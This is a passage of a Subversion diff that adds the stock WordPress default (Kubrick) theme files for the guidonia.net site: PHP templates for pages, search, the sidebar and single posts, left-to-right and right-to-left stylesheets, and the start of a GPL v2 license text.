+ */
+
+get_header(); ?>
+
+	<div id="content" class="narrowcolumn" role="main">
+
+		<?php if (have_posts()) : while (have_posts()) : the_post(); ?>
+		<div class="post" id="post-<?php the_ID(); ?>">
+		<h2><?php the_title(); ?></h2>
+			<div class="entry">
+				<?php the_content('<p class="serif">' . __('Read the rest of this page &raquo;', 'kubrick') . '</p>'); ?>
+
+				<?php wp_link_pages(array('before' => '<p><strong>' . __('Pages:', 'kubrick') . '</strong> ', 'after' => '</p>', 'next_or_number' => 'number')); ?>
+
+			</div>
+		</div>
+		<?php endwhile; endif; ?>
+	<?php edit_post_link(__('Edit this entry.', 'kubrick'), '<p>', '</p>'); ?>
+	</div>
+
+<?php get_sidebar(); ?>
+
+<?php get_footer(); ?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/default/rtl.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/default/rtl.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/default/rtl.css	(revision 44)
@@ -0,0 +1,127 @@
+/*
+Theme name: WordPress Default - kubrick -
+Editors: Navid Kashani
+Persian Wordpress Project : wp-persian.com
+*/
+body, .commentlist li, #commentform input, #commentform textarea, #commentform p, #sidebar, #wp-calendar caption  {
+	font-family:tahoma, arial;
+}
+#page {
+	text-align:right;
+	direction:rtl;
+}
+h1, h2, h3, #sidebar h2 {
+	font-family:arial, tahoma;
+}
+.commentlist li .avatar {
+	float:left;
+}
+
+.commentlist li {
+	padding: 5px 10px 10px 5px;
+	}
+.commentlist li ul li { 
+	margin-left: -5px;
+	margin-right: 10px;
+}
+
+.commentlist p {
+	margin: 10px 0 10px 5px;
+}
+#header {
+	margin:0 1px 0 0;
+}
+.narrowcolumn {
+	float:right;
+	padding: 0 45px 20px 0;
+}
+.widecolumn {
+	margin: 5px 150px 0 0;
+}
+.widecolumn .smallattachment {
+	margin: 5px 0 5px 5px;
+}
+.postmetadata {
+	clear:right;
+}
+#sidebar {
+	margin-left: 0;
+	margin-right: 545px;
+}
+img.alignright {
+	margin: 0 7px 2px 0;
+}
+
+img.alignleft {
+	margin: 0 0 2px 7px;
+}
+
+.alignright {
+	float: left;
+}
+
+.alignleft {
+	float: right;
+}
+code {
+	display:block;
+	direction:ltr;
+	text-align:left;
+}
+acronym, abbr, span.caps {
+	letter-spacing:0; /* fix opera bug */
+}
+html>body .entry ul {
+	padding:0 10px 0 0;
+	text-indent:10px;
+}
+html>body .entry li {
+	margin: 7px 10px 8px 0;
+}
+.entry ol {
+	padding: 0 35px 0 0;
+}
+#sidebar ul ul, #sidebar ul ol {
+	margin: 5px 10px 0 0;
+}
+#sidebar ul ul ul, #sidebar ul ol {
+	margin: 0 10px 0 0;
+}
+#commentform {
+	margin: 5px 0 0 10px;
+	}
+#commentform input {
+	margin: 5px 0 1px 5px;
+}
+#commentform #submit {
+	float:left;
+}
+.commentlist p {
+	margin: 10px 0 10px 5px;
+}
+
+.children .even, .alt {
+	border-left: 0;
+	border-right: 1px solid #ddd;
+}
+
+#wp-calendar #next a {
+	padding-right:0;
+	padding-left:10px;
+	text-align:left;
+}
+#wp-calendar #prev a {
+	padding-left:0;
+	padding-right:10px;
+	text-align:right;
+}
+blockquote {
+	margin: 15px 10px 0 30px;
+	padding-left: 0;
+	padding-right: 20px;
+	border-left: 0 none;
+	border-right: 5px solid #ddd;
+}
+#email, #url {
+	direction:ltr;
+}
Index: /trunk/www.guidonia.net/wp/wp-content/themes/default/search.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/default/search.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/default/search.php	(revision 44)
@@ -0,0 +1,48 @@
+<?php
+/**
+ * @package WordPress
+ * @subpackage Default_Theme
+ */
+
+get_header(); ?>
+
+	<div id="content" class="narrowcolumn" role="main">
+
+	<?php if (have_posts()) : ?>
+
+		<h2 class="pagetitle"><?php _e('Search Results', 'kubrick'); ?></h2>
+
+		<div class="navigation">
+			<div class="alignleft"><?php next_posts_link(__('&laquo; Older Entries', 'kubrick')) ?></div>
+			<div class="alignright"><?php previous_posts_link(__('Newer Entries &raquo;', 'kubrick')) ?></div>
+		</div>
+
+
+		<?php while (have_posts()) : the_post(); ?>
+
+			<div <?php post_class(); ?>>
+				<h3 id="post-<?php the_ID(); ?>"><a href="<?php the_permalink() ?>" rel="bookmark" title="<?php printf(__('Permanent Link to %s', 'kubrick'), the_title_attribute('echo=0')); ?>"><?php the_title(); ?></a></h3>
+				<small><?php the_time('l, F jS, Y') ?></small>
+
+				<p class="postmetadata"><?php the_tags(__('Tags:', 'kubrick') . ' ', ', ', '<br />'); ?> <?php printf(__('Posted in %s', 'kubrick'), get_the_category_list(', ')); ?> | <?php edit_post_link(__('Edit', 'kubrick'), '', ' | '); ?>  <?php comments_popup_link(__('No Comments &#187;', 'kubrick'), __('1 Comment &#187;', 'kubrick'), __('% Comments &#187;', 'kubrick'), '', __('Comments Closed', 'kubrick') ); ?></p>
+			</div>
+
+		<?php endwhile; ?>
+
+		<div class="navigation">
+			<div class="alignleft"><?php next_posts_link(__('&laquo; Older Entries', 'kubrick')) ?></div>
+			<div class="alignright"><?php previous_posts_link(__('Newer Entries &raquo;', 'kubrick')) ?></div>
+		</div>
+
+	<?php else : ?>
+
+		<h2 class="center"><?php _e('No posts found. Try a different search?', 'kubrick'); ?></h2>
+		<?php get_search_form(); ?>
+
+	<?php endif; ?>
+
+	</div>
+
+<?php get_sidebar(); ?>
+
+<?php get_footer(); ?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/default/searchform.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/default/searchform.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/default/searchform.php	(revision 44)
@@ -0,0 +1,6 @@
+<form method="get" id="searchform" action="<?php bloginfo('url'); ?>/">
+<label class="hidden" for="s"><?php _e('Search for:', 'kubrick'); ?></label>
+<div><input type="text" value="<?php the_search_query(); ?>" name="s" id="s" />
+<input type="submit" id="searchsubmit" value="<?php _e('Search', 'kubrick'); ?>" />
+</div>
+</form>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/default/sidebar.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/default/sidebar.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/default/sidebar.php	(revision 44)
@@ -0,0 +1,79 @@
+<?php
+/**
+ * @package WordPress
+ * @subpackage Default_Theme
+ */
+?>
+	<div id="sidebar" role="complementary">
+		<ul>
+			<?php 	/* Widgetized sidebar, if you have the plugin installed. */
+					if ( !function_exists('dynamic_sidebar') || !dynamic_sidebar() ) : ?>
+			<li>
+				<?php get_search_form(); ?>
+			</li>
+
+			<!-- Author information is disabled per default. Uncomment and fill in your details if you want to use it.
+			<li><h2><?php _e('Author', 'kubrick'); ?></h2>
+			<p>A little something about you, the author. Nothing lengthy, just an overview.</p>
+			</li>
+			-->
+
+			<?php if ( is_404() || is_category() || is_day() || is_month() ||
+						is_year() || is_search() || is_paged() ) {
+			?> <li>
+
+			<?php /* If this is a 404 page */ if (is_404()) { ?>
+			<?php /* If this is a category archive */ } elseif (is_category()) { ?>
+			<p><?php printf(__('You are currently browsing the archives for the %s category.', 'kubrick'), single_cat_title('', false)); ?></p>
+
+			<?php /* If this is a yearly archive */ } elseif (is_day()) { ?>
+			<p><?php printf(__('You are currently browsing the <a href="%1$s/">%2$s</a> blog archives for the day %3$s.', 'kubrick'), get_bloginfo('url'), get_bloginfo('name'), get_the_time(__('l, F jS, Y', 'kubrick'))); ?></p>
+
+			<?php /* If this is a monthly archive */ } elseif (is_month()) { ?>
+			<p><?php printf(__('You are currently browsing the <a href="%1$s/">%2$s</a> blog archives for %3$s.', 'kubrick'), get_bloginfo('url'), get_bloginfo('name'), get_the_time(__('F, Y', 'kubrick'))); ?></p>
+
+			<?php /* If this is a yearly archive */ } elseif (is_year()) { ?>
+			<p><?php printf(__('You are currently browsing the <a href="%1$s/">%2$s</a> blog archives for the year %3$s.', 'kubrick'), get_bloginfo('url'), get_bloginfo('name'), get_the_time('Y')); ?></p>
+
+			<?php /* If this is a monthly archive */ } elseif (is_search()) { ?>
+			<p><?php printf(__('You have searched the <a href="%1$s/">%2$s</a> blog archives for <strong>&#8216;%3$s&#8217;</strong>. If you are unable to find anything in these search results, you can try one of these links.', 'kubrick'), get_bloginfo('url'), get_bloginfo('name'), wp_specialchars(get_search_query(), true)); ?></p>
+
+			<?php /* If this is a monthly archive */ } elseif (isset($_GET['paged']) && !empty($_GET['paged'])) { ?>
+			<p><?php printf(__('You are currently browsing the <a href="%1$s/">%2$s</a> blog archives.', 'kubrick'), get_bloginfo('url'), get_bloginfo('name')); ?></p>
+
+			<?php } ?>
+
+			</li>
+		<?php }?>
+		</ul>
+		<ul role="navigation">
+			<?php wp_list_pages('title_li=<h2>' . __('Pages', 'kubrick') . '</h2>' ); ?>
+
+			<li><h2><?php _e('Archives', 'kubrick'); ?></h2>
+				<ul>
+				<?php wp_get_archives('type=monthly'); ?>
+				</ul>
+			</li>
+
+			<?php wp_list_categories('show_count=1&title_li=<h2>' . __('Categories', 'kubrick') . '</h2>'); ?>
+		</ul>
+		<ul>
+			<?php /* If this is the frontpage */ if ( is_home() || is_page() ) { ?>
+				<?php wp_list_bookmarks(); ?>
+
+				<li><h2><?php _e('Meta', 'kubrick'); ?></h2>
+				<ul>
+					<?php wp_register(); ?>
+					<li><?php wp_loginout(); ?></li>
+					<li><a href="http://validator.w3.org/check/referer" title="<?php _e('This page validates as XHTML 1.0 Transitional', 'kubrick'); ?>"><?php _e('Valid <abbr title="eXtensible HyperText Markup Language">XHTML</abbr>', 'kubrick'); ?></a></li>
+					<li><a href="http://gmpg.org/xfn/"><abbr title="<?php _e('XHTML Friends Network', 'kubrick'); ?>"><?php _e('XFN', 'kubrick'); ?></abbr></a></li>
+					<li><a href="http://wordpress.org/" title="<?php _e('Powered by WordPress, state-of-the-art semantic personal publishing platform.', 'kubrick'); ?>">WordPress</a></li>
+					<?php wp_meta(); ?>
+				</ul>
+				</li>
+			<?php } ?>
+
+			<?php endif; ?>
+		</ul>
+	</div>
+
Index: /trunk/www.guidonia.net/wp/wp-content/themes/default/single.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/default/single.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/default/single.php	(revision 44)
@@ -0,0 +1,71 @@
+<?php
+/**
+ * @package WordPress
+ * @subpackage Default_Theme
+ */
+
+get_header();
+?>
+
+	<div id="content" class="widecolumn" role="main">
+
+	<?php if (have_posts()) : while (have_posts()) : the_post(); ?>
+
+		<div class="navigation">
+			<div class="alignleft"><?php previous_post_link('&laquo; %link') ?></div>
+			<div class="alignright"><?php next_post_link('%link &raquo;') ?></div>
+		</div>
+
+		<div <?php post_class(); ?> id="post-<?php the_ID(); ?>">
+			<h2><?php the_title(); ?></h2>
+
+			<div class="entry">
+				<?php the_content('<p class="serif">' . __('Read the rest of this entry &raquo;', 'kubrick') . '</p>'); ?>
+
+				<?php wp_link_pages(array('before' => '<p><strong>' . __('Pages:', 'kubrick') . '</strong> ', 'after' => '</p>', 'next_or_number' => 'number')); ?>
+				<?php the_tags( '<p>' . __('Tags:', 'kubrick') . ' ', ', ', '</p>'); ?>
+
+				<p class="postmetadata alt">
+					<small>
+						<?php /* This is commented, because it requires a little adjusting sometimes.
+							You'll need to download this plugin, and follow the instructions:
+							http://binarybonsai.com/wordpress/time-since/ */
+							/* $entry_datetime = abs(strtotime($post->post_date) - (60*120)); $time_since = sprintf(__('%s ago', 'kubrick'), time_since($entry_datetime)); */ ?>
+						<?php printf(__('This entry was posted %1$s on %2$s at %3$s and is filed under %4$s.', 'kubrick'), $time_since, get_the_time(__('l, F jS, Y', 'kubrick')), get_the_time(), get_the_category_list(', ')); ?>
+						<?php printf(__("You can follow any responses to this entry through the <a href='%s'>RSS 2.0</a> feed.", "kubrick"), get_post_comments_feed_link()); ?> 
+
+						<?php if ( comments_open() && pings_open() ) {
+							// Both Comments and Pings are open ?>
+							<?php printf(__('You can <a href="#respond">leave a response</a>, or <a href="%s" rel="trackback">trackback</a> from your own site.', 'kubrick'), trackback_url(false)); ?>
+
+						<?php } elseif ( !comments_open() && pings_open() ) {
+							// Only Pings are Open ?>
+							<?php printf(__('Responses are currently closed, but you can <a href="%s" rel="trackback">trackback</a> from your own site.', 'kubrick'), trackback_url(false)); ?>
+
+						<?php } elseif ( comments_open() && !pings_open() ) {
+							// Comments are open, Pings are not ?>
+							<?php _e('You can skip to the end and leave a response. Pinging is currently not allowed.', 'kubrick'); ?>
+
+						<?php } elseif ( !comments_open() && !pings_open() ) {
+							// Neither Comments, nor Pings are open ?>
+							<?php _e('Both comments and pings are currently closed.', 'kubrick'); ?>
+
+						<?php } edit_post_link(__('Edit this entry', 'kubrick'),'','.'); ?>
+
+					</small>
+				</p>
+
+			</div>
+		</div>
+
+	<?php comments_template(); ?>
+
+	<?php endwhile; else: ?>
+
+		<p><?php _e('Sorry, no posts matched your criteria.', 'kubrick'); ?></p>
+
+<?php endif; ?>
+
+	</div>
+
+<?php get_footer(); ?>
Index: /trunk/www.guidonia.net/wp/wp-content/themes/default/style.css
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/default/style.css	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/default/style.css	(revision 44)
@@ -0,0 +1,719 @@
+/*
+Theme Name: WordPress Default
+Theme URI: http://wordpress.org/
+Description: The default WordPress theme based on the famous <a href="http://binarybonsai.com/kubrick/">Kubrick</a>.
+Version: 1.6
+Author: Michael Heilemann
+Author URI: http://binarybonsai.com/
+Tags: blue, custom header, fixed width, two columns, widgets
+Text Domain: kubrick
+
+	Kubrick v1.5
+	 http://binarybonsai.com/kubrick/
+
+	This theme was designed and built by Michael Heilemann,
+	whose blog you will find at http://binarybonsai.com/
+
+	The CSS, XHTML and design is released under GPL:
+	http://www.opensource.org/licenses/gpl-license.php
+
+*/
+
+
+
+/* Begin Typography & Colors */
+body {
+	font-size: 62.5%; /* Resets 1em to 10px */
+	font-family: 'Lucida Grande', Verdana, Arial, Sans-Serif;
+	background: #d5d6d7 url('images/kubrickbgcolor.jpg');
+	color: #333;
+	text-align: center;
+	}
+
+#page {
+	background-color: white;
+	border: 1px solid #959596;
+	text-align: left;
+	}
+
+#header {
+	background: #73a0c5 url('images/kubrickheader.jpg') no-repeat bottom center;
+	}
+
+#headerimg 	{
+	margin: 7px 9px 0;
+	height: 192px;
+	width: 740px;
+	}
+
+#content {
+	font-size: 1.2em;
+	}
+
+.widecolumn .entry p {
+	font-size: 1.05em;
+	}
+
+.narrowcolumn .entry, .widecolumn .entry {
+	line-height: 1.4em;
+	}
+
+.widecolumn {
+	line-height: 1.6em;
+	}
+
+.narrowcolumn .postmetadata {
+	text-align: center;
+	}
+
+.thread-alt {
+	background-color: #f8f8f8;
+}
+.thread-even {
+	background-color: white;
+}
+.depth-1 {
+border: 1px solid #ddd;
+}
+
+.even, .alt {
+
+	border-left: 1px solid #ddd;
+}
+
+#footer {
+	background: #e7e7e7 url('images/kubrickfooter.jpg') no-repeat top;
+	border: none;
+	}
+
+small {
+	font-family: Arial, Helvetica, Sans-Serif;
+	font-size: 0.9em;
+	line-height: 1.5em;
+	}
+
+h1, h2, h3 {
+	font-family: 'Trebuchet MS', 'Lucida Grande', Verdana, Arial, Sans-Serif;
+	font-weight: bold;
+	}
+
+h1 {
+	font-size: 4em;
+	text-align: center;
+	}
+
+#headerimg .description {
+	font-size: 1.2em;
+	text-align: center;
+	}
+
+h2 {
+	font-size: 1.6em;
+	}
+
+h2.pagetitle {
+	font-size: 1.6em;
+	}
+
+#sidebar h2 {
+	font-family: 'Lucida Grande', Verdana, Sans-Serif;
+	font-size: 1.2em;
+	}
+
+h3 {
+	font-size: 1.3em;
+	}
+
+h1, h1 a, h1 a:hover, h1 a:visited, #headerimg .description {
+	text-decoration: none;
+	color: white;
+	}
+
+h2, h2 a, h2 a:visited, h3, h3 a, h3 a:visited {
+	color: #333;
+	}
+
+h2, h2 a, h2 a:hover, h2 a:visited, h3, h3 a, h3 a:hover, h3 a:visited, #sidebar h2, #wp-calendar caption, cite {
+	text-decoration: none;
+	}
+
+.entry p a:visited {
+	color: #b85b5a;
+	}
+
+.sticky {
+	background: #f7f7f7;
+	padding: 0 10px 10px;
+	}
+.sticky h2 {
+	padding-top: 10px;
+	}
+
+.commentlist li, #commentform input, #commentform textarea {
+	font: 0.9em 'Lucida Grande', Verdana, Arial, Sans-Serif;
+	}
+.commentlist li ul li {
+	font-size: 1em;
+}
+
+.commentlist li {
+	font-weight: bold;
+}
+
+.commentlist li .avatar { 
+	float: right;
+	border: 1px solid #eee;
+	padding: 2px;
+	background: #fff;
+	}
+
+.commentlist cite, .commentlist cite a {
+	font-weight: bold;
+	font-style: normal;
+	font-size: 1.1em;
+	}
+
+.commentlist p {
+	font-weight: normal;
+	line-height: 1.5em;
+	text-transform: none;
+	}
+
+#commentform p {
+	font-family: 'Lucida Grande', Verdana, Arial, Sans-Serif;
+	}
+
+.commentmetadata {
+	font-weight: normal;
+	}
+
+#sidebar {
+	font: 1em 'Lucida Grande', Verdana, Arial, Sans-Serif;
+	}
+
+small, #sidebar ul ul li, #sidebar ul ol li, .nocomments, .postmetadata, blockquote, strike {
+	color: #777;
+	}
+
+code {
+	font: 1.1em 'Courier New', Courier, Fixed;
+	}
+
+acronym, abbr, span.caps
+{
+	font-size: 0.9em;
+	letter-spacing: .07em;
+	}
+
+a, h2 a:hover, h3 a:hover {
+	color: #06c;
+	text-decoration: none;
+	}
+
+a:hover {
+	color: #147;
+	text-decoration: underline;
+	}
+
+#wp-calendar #prev a, #wp-calendar #next a {
+	font-size: 9pt;
+	}
+
+#wp-calendar a {
+	text-decoration: none;
+	}
+
+#wp-calendar caption {
+	font: bold 1.3em 'Lucida Grande', Verdana, Arial, Sans-Serif;
+	text-align: center;
+	}
+
+#wp-calendar th {
+	font-style: normal;
+	text-transform: capitalize;
+	}
+/* End Typography & Colors */
+
+
+
+/* Begin Structure */
+body {
+	margin: 0 0 20px 0;
+	padding: 0;
+	}
+
+#page {
+	background-color: white;
+	margin: 20px auto;
+	padding: 0;
+	width: 760px;
+	border: 1px solid #959596;
+	}
+
+#header {
+	background-color: #73a0c5;
+	margin: 0 0 0 1px;
+	padding: 0;
+	height: 200px;
+	width: 758px;
+	}
+
+#headerimg {
+	margin: 0;
+	height: 200px;
+	width: 100%;
+	}
+
+.narrowcolumn {
+	float: left;
+	padding: 0 0 20px 45px;
+	margin: 0px 0 0;
+	width: 450px;
+	}
+
+.widecolumn {
+	padding: 10px 0 20px 0;
+	margin: 5px 0 0 150px;
+	width: 450px;
+	}
+
+.post {
+	margin: 0 0 40px;
+	text-align: justify;
+	}
+
+.post hr {
+	display: block;
+	}
+
+.widecolumn .post {
+	margin: 0;
+	}
+
+.narrowcolumn .postmetadata {
+	padding-top: 5px;
+	}
+
+.widecolumn .postmetadata {
+	margin: 30px 0;
+	}
+
+.widecolumn .smallattachment {
+	text-align: center;
+	float: left;
+	width: 128px;
+	margin: 5px 5px 5px 0px;
+}
+
+.widecolumn .attachment {
+	text-align: center;
+	margin: 5px 0px;
+}
+
+.postmetadata {
+	clear: both;
+}
+
+.clear {
+	clear: both;
+}
+
+#footer {
+	padding: 0;
+	margin: 0 auto;
+	width: 760px;
+	clear: both;
+	}
+
+#footer p {
+	margin: 0;
+	padding: 20px 0;
+	text-align: center;
+	}
+/* End Structure */
+
+
+
+/*	Begin Headers */
+h1 {
+	padding-top: 70px;
+	margin: 0;
+	}
+
+h2 {
+	margin: 30px 0 0;
+	}
+
+h2.pagetitle {
+	margin-top: 30px;
+	text-align: center;
+}
+
+#sidebar h2 {
+	margin: 5px 0 0;
+	padding: 0;
+	}
+
+h3 {
+	padding: 0;
+	margin: 30px 0 0;
+	}
+
+h3.comments {
+	padding: 0;
+	margin: 40px auto 20px ;
+	}
+/* End Headers */
+
+
+
+/* Begin Images */
+p img {
+	padding: 0;
+	max-width: 100%;
+	}
+
+/*	Using 'class="alignright"' on an image will (who would've
+	thought?!) align the image to the right. And using 'class="centered',
+	will of course center the image. This is much better than using
+	align="center", being much more futureproof (and valid) */
+
+img.centered {
+	display: block;
+	margin-left: auto;
+	margin-right: auto;
+	}
+
+img.alignright {
+	padding: 4px;
+	margin: 0 0 2px 7px;
+	display: inline;
+	}
+
+img.alignleft {
+	padding: 4px;
+	margin: 0 7px 2px 0;
+	display: inline;
+	}
+
+.alignright {
+	float: right;
+	}
+
+.alignleft {
+	float: left;
+	}
+/* End Images */
+
+
+
+/* Begin Lists
+
+	Special stylized non-IE bullets
+	Do not work in Internet Explorer, which merely default to normal bullets. */
+
+html>body .entry ul {
+	margin-left: 0px;
+	padding: 0 0 0 30px;
+	list-style: none;
+	padding-left: 10px;
+	text-indent: -10px;
+	}
+
+html>body .entry li {
+	margin: 7px 0 8px 10px;
+	}
+
+.entry ul li:before, #sidebar ul ul li:before {
+	content: "\00BB \0020";
+	}
+
+.entry ol {
+	padding: 0 0 0 35px;
+	margin: 0;
+	}
+
+.entry ol li {
+	margin: 0;
+	padding: 0;
+	}
+
+.postmetadata ul, .postmetadata li {
+	display: inline;
+	list-style-type: none;
+	list-style-image: none;
+	}
+
+#sidebar ul, #sidebar ul ol {
+	margin: 0;
+	padding: 0;
+	}
+
+#sidebar ul li {
+	list-style-type: none;
+	list-style-image: none;
+	margin-bottom: 15px;
+	}
+
+#sidebar ul p, #sidebar ul select {
+	margin: 5px 0 8px;
+	}
+
+#sidebar ul ul, #sidebar ul ol {
+	margin: 5px 0 0 10px;
+	}
+
+#sidebar ul ul ul, #sidebar ul ol {
+	margin: 0 0 0 10px;
+	}
+
+ol li, #sidebar ul ol li {
+	list-style: decimal outside;
+	}
+
+#sidebar ul ul li, #sidebar ul ol li {
+	margin: 3px 0 0;
+	padding: 0;
+	}
+/* End Entry Lists */
+
+
+
+/* Begin Form Elements */
+#searchform {
+	margin: 10px auto;
+	padding: 5px 3px;
+	text-align: center;
+	}
+
+#sidebar #searchform #s {
+	width: 108px;
+	padding: 2px;
+	}
+
+#sidebar #searchsubmit {
+	padding: 1px;
+	}
+
+.entry form { /* This is mainly for password protected posts, makes them look better. */
+	text-align:center;
+	}
+
+select {
+	width: 130px;
+	}
+
+#commentform input {
+	width: 170px;
+	padding: 2px;
+	margin: 5px 5px 1px 0;
+	}
+
+#commentform {
+	margin: 5px 10px 0 0;
+	}
+#commentform textarea {
+	width: 100%;
+	padding: 2px;
+	}
+#respond:after {
+		content: "."; 
+	    display: block; 
+	    height: 0; 
+	    clear: both; 
+	    visibility: hidden;
+	}
+#commentform #submit {
+	margin: 0 0 5px auto;
+	float: right;
+	}
+/* End Form Elements */
+
+
+
+/* Begin Comments*/
+.alt {
+	margin: 0;
+	padding: 10px;
+	}
+
+.commentlist {
+	padding: 0;
+	text-align: justify;
+	}
+
+.commentlist li {
+	margin: 15px 0 10px;
+	padding: 5px 5px 10px 10px;
+	list-style: none;
+
+	}
+.commentlist li ul li { 
+	margin-right: -5px;
+	margin-left: 10px;
+}
+
+.commentlist p {
+	margin: 10px 5px 10px 0;
+}
+.children { padding: 0; }
+
+#commentform p {
+	margin: 5px 0;
+	}
+
+.nocomments {
+	text-align: center;
+	margin: 0;
+	padding: 0;
+	}
+
+.commentmetadata {
+	margin: 0;
+	display: block;
+	}
+/* End Comments */
+
+
+
+/* Begin Sidebar */
+#sidebar
+{
+	padding: 20px 0 10px 0;
+	margin-left: 545px;
+	width: 190px;
+	}
+
+#sidebar form {
+	margin: 0;
+	}
+/* End Sidebar */
+
+
+
+/* Begin Calendar */
+#wp-calendar {
+	empty-cells: show;
+	margin: 10px auto 0;
+	width: 155px;
+	}
+
+#wp-calendar #next a {
+	padding-right: 10px;
+	text-align: right;
+	}
+
+#wp-calendar #prev a {
+	padding-left: 10px;
+	text-align: left;
+	}
+
+#wp-calendar a {
+	display: block;
+	}
+
+#wp-calendar caption {
+	text-align: center;
+	width: 100%;
+	}
+
+#wp-calendar td {
+	padding: 3px 0;
+	text-align: center;
+	}
+
+#wp-calendar td.pad:hover { /* Doesn't work in IE */
+	background-color: #fff; }
+/* End Calendar */
+
+
+
+/* Begin Various Tags & Classes */
+acronym, abbr, span.caps {
+	cursor: help;
+	}
+
+acronym, abbr {
+	border-bottom: 1px dashed #999;
+	}
+
+blockquote {
+	margin: 15px 30px 0 10px;
+	padding-left: 20px;
+	border-left: 5px solid #ddd;
+	}
+
+blockquote cite {
+	margin: 5px 0 0;
+	display: block;
+	}
+
+.center {
+	text-align: center;
+	}
+
+.hidden {
+	display: none;
+	}
+	
+.screen-reader-text {
+     position: absolute;
+     left: -1000em;
+}
+
+hr {
+	display: none;
+	}
+
+a img {
+	border: none;
+	}
+
+.navigation {
+	display: block;
+	text-align: center;
+	margin-top: 10px;
+	margin-bottom: 60px;
+	}
+/* End Various Tags & Classes*/
+
+
+
+/* Captions */
+.aligncenter,
+div.aligncenter {
+	display: block;
+	margin-left: auto;
+	margin-right: auto;
+}
+
+.wp-caption {
+	border: 1px solid #ddd;
+	text-align: center;
+	background-color: #f3f3f3;
+	padding-top: 4px;
+	margin: 10px;
+	-moz-border-radius: 3px;
+	-khtml-border-radius: 3px;
+	-webkit-border-radius: 3px;
+	border-radius: 3px;
+}
+
+.wp-caption img {
+	margin: 0;
+	padding: 0;
+	border: 0 none;
+}
+
+.wp-caption p.wp-caption-text {
+	font-size: 11px;
+	line-height: 17px;
+	padding: 0 4px 5px;
+	margin: 0;
+}
+/* End captions */
+
+
+/* "Daisy, Daisy, give me your answer do. I'm half crazy all for the love of you.
+	It won't be a stylish marriage, I can't afford a carriage.
+	But you'll look sweet upon the seat of a bicycle built for two." */
Index: /trunk/www.guidonia.net/wp/wp-content/themes/duplexes/GPL_license.txt
===================================================================
--- /trunk/www.guidonia.net/wp/wp-content/themes/duplexes/GPL_license.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-content/themes/duplexes/GPL_license.txt	(revision 44)
@@ -0,0 +1,282 @@
+		    GNU GENERAL PUBLIC LICENSE
+		       Version 2, June 1991
+
+ Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
+ 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+			    Preamble
+
+  The licenses for most software are designed to take away your
+freedom to share and change it.  By contrast, the GNU General Public
+License is intended to guarantee your freedom to share and change free
+software--to make sure the software is free for all its users.  This
+General Public License applies to most of the Free Software
+Foundation's software and to any other program whose authors commit to
+using it.  (Some other Free Software Foundation software is covered by
+the GNU Lesser General Public License instead.)  You can apply it to
+your programs, too.
+
+  When we speak of free software, we are referring to freedom, not
+price.  Our General Public Licenses are designed to make sure that you
+have the freedom to distribute copies of free software (and charge for
+this service if you wish), that you receive source code or can get it
+if you want it, that you can change the software or use pieces of it
+in new free programs; and that you know you can do these things.
+
+  To protect your rights, we need to make restrictions that forbid
+anyone to deny you these rights or to ask you to surrender the rights.
+These restrictions translate to certain responsibilities for you if you
+distribute copies of the software, or if you modify it.
+
+  For example, if you distribute copies of such a program, whether
+gratis or for a fee, you must give the recipients all the rights that
+you have.  You must make sure that they, too, receive or can get the
+source code.  And you must show them these terms so they know their
+rights.
+
+  We protect your rights with two steps: (1) copyright the software, and
+(2) offer you this license which gives you legal permission to copy,
+distribute and/or modify the software.
+
+  Also, for each author's protection and ours, we want to make certain
+that everyone understands that there is no warranty for this free
+software.  If the software is modified by someone else and passed on, we
+want its recipients to know that what they have is not the original, so
+that any problems introduced by others will not reflect on the original
+authors' reputations.
+
+  Finally, any free program is threatened constantly by software
+patents.  We wish to avoid the danger that redistributors of a free
+program will individually obtain patent licenses, in effect making the
+program proprietary.  To prevent this, we have made it clear that any
+patent must be licensed for everyone's free use or not licensed at all.
+
+  The precise terms and conditions for copying, distribution and
+modification follow.
+
+		    GNU GENERAL PUBLIC LICENSE
+   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+
+  0. This License applies to any program or other work which contains
+a notice placed by the copyright holder saying it may be distributed
+under the terms of this General Public License.  The "Program", below,
+refers to any such program or work, and a "work based on the Program"
+means either the Program or any derivative work under copyright law:
+that is to say, a work containing the Program or a portion of it,
+either verbatim or with modifications and/or translated into another
+language.  (Hereinafter, translation is included without limitation in
+the term "modification".)  Each licensee is addressed as "you".
+
+Activities other than copying, distribution and modification are not
+covered by this License; they are outside its scope.  The act of
+running the Program is not restricted, and the output from the Program
+is covered only if its contents constitute a work based on the
+Program (independent of having been made by running the Program).
+Whether that is true depends on what the Program does.
+
+  1. You may copy and distribute verbatim copies of the Program's
+source code as you receive it, in any medium, provided that you
+conspicuously and appropriately publish on each copy an appropriate
+copyright notice and disclaimer of warranty; keep intact all the
+notices that refer to this License and to the absence of any warranty;
+and give any other recipients of the Program a copy of this License
+along with the Program.
+
+You may charge a fee for the physical act of transferring a copy, and
+you may at your option offer warranty protection in exchange for a fee.
+
+  2. You may modify your copy or copies of the Program or any portion
+of it, thus forming a work based on the Program, and copy and
+distribute such modifications or work under the terms of Section 1
+above, provided that you also meet all of these conditions:
+
+    a) You must cause the modified files to carry prominent notices
+    stating that you changed the files and the date of any change.
+
+    b) You must cause any work that you distribute or publish, that in
+    whole or in part contains or is derived from the Program or any
+    part thereof, to be licensed as a whole at no charge to all third
+    parties under the terms of this License.
+
+    c) If the modified program normally reads commands interactively
+    when run, you must cause it, when started running for such
+    interactive use in the most ordinary way, to print or display an
+    announcement including an appropriate copyright notice and a
